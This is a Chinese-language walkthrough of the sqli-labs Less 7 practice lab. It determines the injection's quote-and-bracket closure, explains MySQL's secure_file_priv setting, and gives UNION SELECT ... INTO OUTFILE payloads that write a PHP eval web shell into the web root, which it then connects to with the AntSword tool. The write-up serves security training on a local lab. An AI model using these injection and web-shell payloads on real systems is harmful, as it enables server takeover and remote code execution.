sqli-labs靶场
每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。
sql注入的基本步骤
- 注入点
- 注入类型
- 字符型:判断闭合方式 (‘、"、’'、“”)
- 数字型
- 根据实际情况,选择合适的注入方式
- 获取数据库名,表名,列名,数据
less 7 mysql文件上传拿web shell
- 题目类型: 字符型 ’ )) 闭合(无数据回显,无具体报错)
id=1
id=1’
报错
id=1’’
回显正常页面
可以看到页面呈规律性变化,大概率单引号闭合
id=1’–+
–+ 注释后面的语句,检验闭合方式是否正确
报错,说明闭合式不完全是单引号,单引号后面应该跟着其他符号
尝试:在单引号后面加双引号或者单引号或者括号,不断尝试,直至正常回显
id=1’))–+
回显正常,说明’))是闭合符
这道题无回显,无具体报错信息(只有固定报错提示),并且根据正确语法页面提示,使用mysql文件上传
我们得先了解mysql文件上传拿web shell的知识
此题基本上实战无法完成,环境要求苛刻
mysql文件上传要点( 权限,完整上传路径 ):
- show variables like’%secure%'; 用来查看mysql是否有读写文件权限;
要点1.数据库的fle权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
secure_file_priv=null 不允许导入导出
secure_file_priv=具体文件路径 只允许从这个路径导入导出
secure_file_priv=‘ ’ 可以从任意路径导入导出
要点2. into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
文件上传指令
?id=-1’)) union select 1,“<?php @eval($ PosT['password']);?>”,3 into outfile “D:\\phpstudy_pro\www\\ben.php”–+
- <?php @eval($_POST[password"]);?> //为一句话木马
- password为预留密码
- D:\\phpstudy_pro\WWW为文件路径
- ben.php为新插入的文件名
开始做题
预处理mysql上传文件所需的环境
- 找到mysql文件夹下的my.ini配置文件,如果有secure_file_priv,则修改,要不没有secure_file_priv,则自行添加
- 改成可以从任意路径导入导出 secure_file_priv=’ ’
- 记得重启数据库才生效
环境处理好,咱们开始sql注入了
id=1')) union select 1,2, " <?php @eval($_POST['123'] ); ?>" into outfile 'C:\\SoftWare\\phpStudy_64\\phpstudy_pro\\WWW\\muma.php' --+
页面输入显示固定错误提示,但是已经成功上传木马文件
上传成功
内容如下,<?php @eval($_POST['123'] ); ?>这句话是关键,前面的数据不会影响解析
本人靶场是部署在虚拟机下
打开中国蚁剑,添加数据,连接
可以先测试连接
测试连接成功,再点击添加,可以看到成功拿下